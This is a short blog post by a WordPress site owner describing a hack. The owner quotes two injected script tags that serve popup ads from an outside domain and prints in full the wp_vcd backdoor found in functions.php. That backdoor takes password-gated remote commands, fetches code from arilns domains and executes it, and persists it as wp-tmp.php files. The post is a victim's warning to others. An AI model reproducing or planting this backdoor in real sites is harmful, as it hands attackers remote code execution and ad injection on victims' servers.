Because it got hacked.
Suddenly there are some popup ads shown on my Wordpress website. Although, I never put any advertisement on my website.
After looking at the source, I found out that these ads are from the javascript:
<script type='text/javascript' src='//rugiomyh2vmr.com/8e/92/e2/8e92e262ca6bfdce1037f1e7061a9820.js'></script>
<script type='text/javascript' src='//rugiomyh2vmr.com/37/cf/e9/37cfe926b9a150550d806fa00d19a1c0.js'></script>
The hacker put these code in wp-includes\wp-tmp.php and wp-feed.php
These files are not part of Wordpress Installation
Anyway, these hacker use many different domain where their script are hosted at.
So if you own rugiomyh2vmr you have to go fix your website.
This is the code in my functions.php that the hacker put in to hack my website:
<?php
//V3ZG9tYWluJ10pKQoJCQkJCQkJCXsKICAgICAgIC
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '3a0f65bcfc96192d00f794ebcf5ca82f'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
{
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
case 'change_code';
if (isset($_REQUEST['newcode']))
{
if (!empty($_REQUEST['newcode']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
{
$file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
$div_code_name = "wp_vcd";
$funcfile = __FILE__;
if(!function_exists('theme_temp_setup')) {
$path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
function file_get_contents_tcurl($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function theme_temp_setup($phpCode)
{
$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
if( fwrite($handle, "<?php\n" . $phpCode))
{
}
else
{
$tmpfname = tempnam('./', "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
}
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
$wp_auth_key='96eb6b5b68b1d247358bf594a7b9dae8';
if (($tmpcontent = @file_get_contents("http://www.arilns.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.arilns.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.arilns.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.arilns.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
}
}
}
//$start_wp_theme_tmp
//1111111111111111111111111111111111111111111
//wp_tmp
//$end_wp_theme_tmp
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